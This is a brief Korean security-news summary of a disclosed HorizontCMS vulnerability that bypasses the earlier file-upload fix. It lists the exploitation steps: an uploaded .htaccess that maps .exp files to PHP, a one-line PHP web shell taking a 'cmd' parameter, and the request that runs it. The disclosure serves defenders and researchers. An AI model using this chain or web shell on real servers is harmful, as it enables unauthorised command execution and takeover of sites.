[하루한줄] HorizontCMS 원격 코드 실행 취약점
URL
[BugHunt] Authenticated RCE found in HorizontCMS — Part 2 (PHP Filetype Bypass)
Target
- HorizontCMS
Explain
오픈소스 컨텐츠 관리 시스템인 HorizontCMS에서 기존 파일 업로드 취약점(CVE-2020–27387) 패치에 대한 우회가 발견되어 세부 정보가 공개되었습니다.
기존 파일 업로드 취약점은 .php, .php5, .php7, .phtml, .inc 와 같은 확장명이 포함된 파일 업로드를 제한하는 것으로 패치되었지만 설정 파일인 .htaccess 필터링을 하지 않아 PHP file type을 변경한 우회 공격이 가능합니다.
해당 취약점을 이용해 임의 코드를 실행하는 방법은 다음과 같습니다.
- admin 페이지의 Media → Files에서
test2.htaccess파일을 업로드합니다. 해당 파일의 내용은 아래와 같습니다.AddType application/x-httpd-php .exp
- 파일 rename 기능을 이용해
test2.htaccess파일의 이름을.htaccess로 변경합니다. - 아래와 같이 임의 코드를 실행할 수 있게 해주는 내용이 포함된
test2.php파일을 업로드 한 뒤 파일 이름을test.exp로 변경합니다.<?php system($_GET['cmd']); ?>
- 1, 2에서 업로드한
.htaccess로 인해.exp확장자가 php로 실행됩니다. 따라서test.exp에 접근해 임의 코드를 실행할 수 있습니다.
http://<HorizontCMS IP>/storage/test.exp?cmd=id
취약점 제보자는 악성 플러그인을 악용한 원격 코드 실행 취약점의 관련 정보 또한 공개하였으며 https://infosecwriteups.com/bughunt-authenticated-rce-found-in-horizontcms-part-1-malicious-plugins-72846f4ab6fe 에서 확인할 수 있습니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.